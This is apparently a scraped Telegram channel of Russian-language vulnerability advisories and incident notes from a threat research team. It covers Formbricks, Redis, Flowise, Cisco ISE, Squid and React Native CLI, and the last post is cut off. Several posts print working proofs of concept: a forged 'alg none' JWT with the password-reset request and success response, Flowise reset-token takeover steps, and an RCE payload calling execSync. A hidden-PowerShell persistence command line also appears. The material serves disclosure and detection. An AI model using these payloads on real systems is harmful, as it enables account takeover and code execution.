JWT "alg none" vulnerability — CVE-2025-59934
CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.
Formbricks — платформа с открытым исходным кодом для сбора отзывов и управления пользовательским опытом. Имеет более 11 тысяч звезд на github.
🫡 Метрики
🫡 Кратко о JWT
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:
✅ Header — информация об алгоритме и типе токена;
✅ Payload — полезные данные, например ID пользователя, роли;
✅ Signature — защита от подделки (цифровая подпись).
Всё это кодируется в Base64Url :
🫡 Подробнее
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.
То есть если взять любой существующий userId из базы и создать токен вида:
jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.
Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.
Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.
🫡 Эксплуатация
Создаем JWT вида
base64Encode:
base64Decode:
Отправляем запрос:
Получает ответ от сервера:
🫡 Как защищаться
Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с
Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT
CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.
Base Score: 9,4 Critical
CWE: 345, 287, 347
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:
Всё это кодируется в Base64Url :
xxxxx.yyyyy.zzzzz
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
export const verifyToken = async (token: string): Promise<JwtPayload> => {
// First decode to get the ID
const decoded = jwt.decode(token);
const payload: JwtPayload = decoded as JwtPayload;
if (!payload) {
throw new Error("Token is invalid");
} jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.
То есть если взять любой существующий userId из базы и создать токен вида:
header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.
Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.
Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.
Создаем JWT вида
base64Encode:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
base64Decode:
{
"alg": "none",
"typ": "JWT"
}
{
"id": "cmg52lkge0000pd01oq32fjhe"
}Отправляем запрос:
http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
Получает ответ от сервера:
0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с
"alg":"none" блокировались.Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT
^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.$.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍8❤5🙉1👾1
NGC4141: атака на кастомные веб-приложения
Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.
😬 Минус распространенного ПО:
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.
😬 Плюсы такого ПО:
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.
У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.
😬 Плюсы:
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.
😬 Минусы:
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.
Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие(предположительно из Восточной Азии) шпионили за российской госорганизацией. Использовали простые, но эффективные веб-шеллы, обошли АВПО и WAF. Все подробности в блоге.
Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.
У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.
Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍6❤2🤨2👾1
Сборщик мусора ломает безопасность Redis
CVE‑2025‑49844 — это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.
😬 Метрики
😬 Суть проблемы
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:
— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.
Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.
😬 Причина уязвимости
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.
😬 Сценарий возможной атаки
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.
😬 Способы защититься
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.
Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.
😬 Мониторинг и обнаружение
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
CVE‑2025‑49844 — это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.
Base Score: 9.9 (Critical)
CWE: 416
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:
— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.
Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
package.loadlib, io.popen, os.execute
и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.
Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
package.loadlib, io.popen, os.execute
Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍6⚡3❤1👾1
Сбросить пароль я тебе дам и токен я тебе тоже сразу дам — CVE-2025-58434
CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.
💡 Настоятельно рекомендуем обновиться.
👍 Метрики: CVE-2025–58434
👍 Метрики:CVE-2025-59528
👍 Метрики:CVE-2025-61687
👍 Об уязвимости
Конечная точка
json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
👍 Атака по шагам
Уточнение: для атаки необходимо знать действительный email-адрес.
1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена
5) Сбрасывают пароль на /api/v1/account/reset-password.
6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.
👍 Возможные последствия
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.
CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.
CVE-2025-61687
POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.
👍 Как защититься
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.
CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре
CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.
Flowise — это open-source-платформа с открытым исходным кодом, которая позволяет разработчикам визуально создавать и развёртывать AI-агентов и потоки для работы с большими языковыми моделями (LLM). У нее больше 45 тысяч звезд на github.
Base Core: 9,8
CWE: CWE-306
Base Core: 10
CWE: CWE-94
Base Core: 8.8
CWE: CWE-434
Конечная точка
/api/v1/account/forgot-password на вход принимает простой json.{"user":{"email":"XXX@XXX.XXX"}}json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
{"user":{"id":"35c016f5-26cf-464f-81b8-424fb53f7a22","name":"test","email":"XXX@XXX.XXX ","credential":"$2a$05$qwiE0QxVe13PCdAohQ7Oe.NUvw.RrOQgrixnrm1oogMrv7h5dkfyS","tempToken":"SHVoGl0YGEIBjHRFbuTqEu3QyoHxfBMwyGhnyRfWq5Qefp6ExhG3y2fVK8V0OzOk","tokenExpiry":"2025-10-16T11:34:57.584Z","status":"active","createdDate":"2025-10-16T10:40:14.000Z","updatedDate":"2025-10-16T11:19:57.000Z","createdBy":"35c016f5-26cf-464f-81b8-424fb53f7a22","updatedBy":"35c016f5-26cf-464f-81b8-424fb53f7a22"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}Уточнение: для атаки необходимо знать действительный email-адрес.
1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена
/reset-password?token=<redacted-tempToken>.5) Сбрасывают пароль на /api/v1/account/reset-password.
{
"user":{
"email":"XXX@XXX.XXX",
"tempToken":"<redacted-tempToken>",
"password":"Admin1234!"
}
}6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.
CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sleep 10\");return 1;})()})"
}
}вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.
CVE-2025-61687
POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.
CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре
mcpServerConfig предаются операторы js кода например :function(), exec, execSync, return,process и другие.CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20❤8👍4👌1👾1
Attention! Мы открыли набор на стажировку в Центр исследования киберугроз Solar 4RAYS 🫡
Выбирайте направление, которое вам ближе:
💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.
Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.
Чтобы попасть в команду, нужно:
1️⃣ пройти тест,
2️⃣ решить практическое задание,
3️⃣ пообщаться с экспертами.
Заявки принимаем до 10 ноября. Все подробности на сайте.
Выбирайте направление, которое вам ближе:
💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.
Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.
Чтобы попасть в команду, нужно:
Заявки принимаем до 10 ноября. Все подробности на сайте.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🎉6🔥4🤮3🤡2❤1🤣1👾1
Десятибалльная уязвимость в Cisco ISE (CVE 2025–20282)
В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.
CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.
😳 Метрики
😳 Об уязвимости
В уязвимой версии существует такой участок кода:
📍 var9 — это объект FileItem, полученный из multipart-запроса.
📍 var9.isFormField() возвращает true, если элемент запроса — обычное поле формы (например, <input type="text" ...>).
Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.
Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла
Уязвимая конечная точка —
Настоятельно рекомендуем обновиться!
😳 Как защититься
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.
CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.
Base Score: 10.0 CRITICAL
CWE: CWE-269
В уязвимой версии существует такой участок кода:
public void handleFilesUpload(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
logger.info("In handleFilesUpload method");
Object var3 = null;
try {
DiskFileItemFactory var4 = new DiskFileItemFactory();
ServletFileUpload var5 = new ServletFileUpload(var4);
String var6 = "/tmp";
List var7 = var5.parseRequest(var1);
Iterator var8 = var7.iterator();
while(var8.hasNext()) {
FileItem var9 = (FileItem)var8.next();
if (!var9.isFormField()) {
this.validateAndSaveFile(var9, var6);
}
}
logger.info("copy done");
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm");
} catch (Exception var10) {
logger.info("Exception: ", var10);
}
}Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm"); - распакует файл /tmp/output.zip в "/opt/CSOCppm. Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла
/opt/CSCOcpm/bin/isehourlycron.shУязвимая конечная точка —
/admin/files-upload/Настоятельно рекомендуем обновиться!
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13⚡5❤4👾1
Десятибалльная уязвимость в Squid (CVE-2025-62168)
В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.
📍 По данным FOFA, Squid используется более чем в 40 миллионах сервисов по всему миру, в том числе и в России.
CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.
✅ Затронуты такие версии:
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.
Настоятельно рекомендуем обновиться!
🫡 Метрики
🫡 Об уязвимости
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
• %R — вставляет оригинальный HTTP-запрос клиента;
• %W — вставляет ответ от сервера, если он был получен перед ошибкой).
Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.
Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён(по умолчанию он включён). Если email_err_data отключён, уязвимость отсутствует.
Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.
🫡 Как защититься
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.
CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.
Настоятельно рекомендуем обновиться!
Base Score: 10.0 CRITICAL
CWE: CWE-550, CWE-209
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
• %R — вставляет оригинальный HTTP-запрос клиента;
• %W — вставляет ответ от сервера, если он был получен перед ошибкой).
Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.
Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён
Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17❤5🤔4💯1👾1
Заметки на полях DFIR: файлы-ярлыки (.lnk) Windows и блок данных EXTRA_DATA
При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (
🫡 Так, при расследовании одного из инцидентов, обнаружили подозрительный ярлык в каталоге автозагрузки:
Файл ссылался на cmd.exe со следующим командлайном:
Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.
💡 В таких ситуациях помогают различные особенности артефактов Windows. Например, ярлыки обладают блоком данных
— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.
Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.
🫡 Именно поэтому важно помнить о тех или иных тонкостях следообразования различных артефактов. И хотя многие атакующие знают о необходимости очистки метаданных в ярлыках и не только, встречаются ситуации, когда этого не происходит.
При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (
User Execution: Malicious Link ID: T1204.001) или чтобы закрепиться в системе (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ID: T1547.001).C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FILE.lnk
Файл ссылался на cmd.exe со следующим командлайном:
/c if exist " C:\Intel\FILE.ps1" (powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File " C:\Intel\FILE.ps1") else (exit 0)
Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.
EXTRA_DATA.
EXTRA_DATA — это часть структуры ярлыка, в который записывается:— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.
Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍9❤6👏5🤯1💯1👾1
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября
Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.
🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках
18 ноября, 10:30, зал 3
🫡 Змеиная Rustамания: новые инструменты Shedding Zmiy»
20 ноября, 11:30, зал 3
🫡 (EDR) — Evading Detection to Ring 0
20 ноября, 12:45, зал 3
🫡 В джунглях персиста: изощренные техники закрепления
20 ноября, 13:45, зал 3
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.
Принять участие →
Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.
18 ноября, 10:30, зал 3
Разберем ход расследования APT-кампании, в которой через уязвимость развернули неизвестный Rust-имплант с поддержкой множества сетевых режимов и сложной инфраструктурой C2. Поделимся выводами по реверсу Rust и детектированию угроз.
20 ноября, 11:30, зал 3
В одной из атак группировка Shedding Zmiy использовала вредоносные инструменты, написанные на Rust: Mycelium, Leech и Octopus. Эти утилиты — серьезная угроза для инфраструктуры жертвы. Расскажем об инструментах и методах, которые упростят технический анализ вредоносов на Rust.
20 ноября, 12:45, зал 3
Рассмотрим варианты получения телеметрии в ОС Windows на каждом из уровней (EventLog/Sysmon/ETW/WinAPI Callbacks), а также приведем методы обхода каждого из них. Еще покажем методы детектирования подобного рода техник.
20 ноября, 13:45, зал 3
Работа DFIR-инженера — это не только проверка стандартных способов закрепления в системе, но и её глубокий анализ. Мы отправимся в глухие джунгли программ и компонентов, где обитают хитрые и нестандартные способы закрепления. Наш доклад — это отчет об экспедиции на эту опасную территорию.
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.
Принять участие →
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤7🤝5⚡2💯1👾1
Фишинговая кампания Erudite Mogwai в России 👀
В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.
После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).
Читайте подробности в нашей новой статье!
В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.
После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).
Читайте подробности в нашей новой статье!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍5⚡4❤1🤔1💯1👾1
RCE в React Native CLI (CVE-2025-11953)
CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете
😳 Метрики
😳 Об уязвимости
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях
Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.
Исправление:
Исправление проверяет, что параметр url означает именно URL в
💡 Дополнительная особенность уязвимости — сервер по умолчанию будет прослушивать внешние соединения
Важно: поведение
☀️ На Windows уязвимости RCE возникают из за формирования одной строковой команды. Например,
☀️ На macOS/Linux open/xdg-open запускаются без shell и ожидает, что каждый аргумент будет отдельной строкой, но остаются другие риски (URI обработчики, file://, сетевые схемы).
Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и
Уязвимая конечная точка:
😳 Пример эксплуатации RCE для Windows
😳 Как защищаться
1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете
@react-native-community/cli-server-api версий с 4.8.0 по 20.0.0-alpha.2Base Score: 9,8 (CRITICAL)
CWE: CWE-78
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях
@react-native-community/cli-server-api функция openURLMiddleware содержит код:async function openURLMiddleware(req: IncomingMessage, ...) {
if (req.method === 'POST') {
…
const {url} = req.body as {url: string};
await open(url);
…
}
next();
}
